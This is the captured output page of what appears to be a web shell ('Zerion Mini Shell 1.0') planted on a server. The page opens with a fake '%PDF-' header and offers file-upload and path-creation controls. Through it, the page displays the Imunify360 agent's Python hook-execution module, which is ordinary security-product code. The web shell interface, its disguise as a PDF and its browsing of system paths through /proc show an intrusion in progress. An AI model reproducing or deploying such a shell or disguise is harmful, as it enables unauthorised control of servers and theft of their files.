%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/root/opt/imunify360/venv/lib64/python3.8/site-packages/defence360agent/hooks/
Upload File :
Create Path :
Current File : //proc/3/root/opt/imunify360/venv/lib64/python3.8/site-packages/defence360agent/hooks/execute.py

"""
This program is free software: you can redistribute it and/or modify it under 
the terms of the GNU General Public License as published by 
the Free Software Foundation, either version 3 of the License, 
or (at your option) any later version.


This program is distributed in the hope that it will be useful, 
but WITHOUT ANY WARRANTY; without even the implied warranty of 
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
"""
import json
import os
import subprocess
import tempfile

from defence360agent.contracts.config import Core
from defence360agent.hooks import native as native_hooks
from defence360agent.internals.logger import EventHookLogger
from defence360agent.model.event_hook import EventHook
from defence360agent.model.instance import db
from defence360agent.utils import run, snake_case

event_hook_logger = EventHookLogger()


def get_hooks(event):
    # if database is not available (i.e. direct RPC call), do not try to
    # load hooks
    if db.deferred:
        return []
    hooks = EventHook.select().where(EventHook.event == event)
    return list(hooks)


async def execute_hook(path, data, native=False):
    try:
        if native:
            native_hooks.execute_hook(path, data)
            exit_code, err = 0, None
        else:
            data = json.dumps(data).encode()
            cwd = os.path.dirname(path)
            exit_code, _, err = await run(path,
                                          shell=True, input=data, cwd=cwd)
    except Exception as e:
        exit_code, err = None, repr(e)

    return exit_code, err


async def execute_hooks(event, tempdir=Core.TMPDIR):
    dump = event.get("DUMP")
    params = dict(event)
    hooks = get_hooks(event.event)

    if not hooks:
        return

    with event_hook_logger(event.event, event.subtype) as event_logger:
        if dump:
            prefix = snake_case(event.__class__.__name__) + '_'
            tmp = tempfile.NamedTemporaryFile(mode='w+', prefix=prefix,
                                              suffix='.json', dir=tempdir)
            json.dump(dump, tmp)
            tmp.flush()
            os.fsync(tmp.fileno())
            params['tmp_filename'] = tmp.name

        data = {
            'event': event.event,
            'subtype': event.subtype,
            'params': params,
        }

        for hook in hooks:
            with event_logger(hook.path, native=hook.native) as hook_logger:
                hook_logger.begin()
                exit_code, err = await execute_hook(hook.path, data,
                                                    native=hook.native)
                hook_logger.finish(exit_code, err)

Zerion Mini Shell 1.0